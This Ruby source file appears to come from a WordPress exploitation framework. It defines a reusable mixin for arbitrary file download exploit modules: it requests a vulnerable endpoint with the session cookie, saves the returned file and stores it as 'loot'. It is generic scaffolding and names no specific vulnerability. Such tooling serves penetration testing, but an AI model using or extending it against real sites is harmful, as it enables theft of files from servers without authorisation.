lib/wpxf/wordpress/file_download.rb
# frozen_string_literal: true
require 'fileutils'
require 'wpxf/helpers/export'
# Provides reusable functionality for file download modules.
module Wpxf::WordPress::FileDownload
include Wpxf
include Wpxf::Db::Loot
include Wpxf::Helpers::Export
# Initialize a new instance of {FileDownload}
def initialize
super
return unless register_remote_file_option?
_update_info_without_validation(
desc: %(
This module exploits a vulnerability which allows you to
download any arbitrary file (relative to #{working_directory})
accessible by the user the web server is running as.
)
)
register_option(
StringOption.new(
name: 'remote_file',
desc: 'The path to the remote file',
required: true,
default: default_remote_file_path
)
)
end
def register_remote_file_option?
true
end
# @return [String, nil] a custom description to use when storing the loot item.
def loot_description; end
# @return [String] the working directory of the vulnerable file.
def working_directory; end
# @return [String] the default remote file path.
def default_remote_file_path; end
# @return [String] the URL of the vulnerable file used to download remote files.
def downloader_url; end
# @return [Hash] the params to be used when requesting the download file.
def download_request_params; end
# @return [Hash, String] the body to be used when requesting the download file.
def download_request_body; end
# @return [Symbol] the HTTP method to use when requesting the download file.
def download_request_method
:get
end
# @return [String] the path to the remote file.
def remote_file
normalized_option_value('remote_file')
end
# Validate the contents of the requested file.
# @param content [String] the file contents.
# @return [Boolean] true if valid.
def validate_content(content)
true
end
# A task to run before the download starts.
# @return [Boolean] true if pre-download operations were successful.
def before_download
true
end
# @return [String] the file extension to use when downloading the file.
def file_extension
''
end
# @return [Integer] the expected HTTP code for a successful download.
def expected_http_code
200
end
# Handles an occurrence of an unexpected result.
# @param code [Integer] the returned HTTP code.
# @return [Boolean] true if the code should be ignored, false if the module should fail.
def handle_unexpected_http_code(code)
emit_error "Server responded with code #{code}"
false
end
# @return [String] the type of file downloaded by the module.
def file_category
'unknown'
end
# Run the module.
# @return [Boolean] true if successful.
def run
_validate_implementation
return false unless super
return false unless before_download
@downloaded_filename = generate_unique_filename(file_extension)
emit_info 'Downloading file...'
res = download_file(_build_request_opts(@downloaded_filename))
return false unless _validate_result(res)
unless validate_content(res.body)
FileUtils.rm @downloaded_filename, force: true
return false
end
emit_success "Downloaded file to #{@downloaded_filename}"
_store_file_as_loot
true
end
# @return [String] returns the path the file was downloaded to.
attr_reader :downloaded_filename
private
def _store_file_as_loot
desc = loot_description
if desc.nil? && register_remote_file_option?
desc = "Remote file: #{File.basename(remote_file)[0..85]}"
end
desc = '' if desc.nil?
store_loot downloaded_filename, desc[0..99], file_category
end
def _validate_implementation
return unless register_remote_file_option?
raise 'A value must be specified for #working_directory' unless working_directory
end
def _validate_result(res)
if res.nil? || res.timed_out?
emit_error 'Request timed out, try increasing the http_client_timeout'
return false
end
return true unless res.code != expected_http_code
handle_unexpected_http_code(res.code)
end
def _build_request_opts(filename)
{
method: download_request_method,
url: downloader_url,
params: download_request_params,
body: download_request_body,
cookie: session_cookie,
local_filename: filename
}
end
end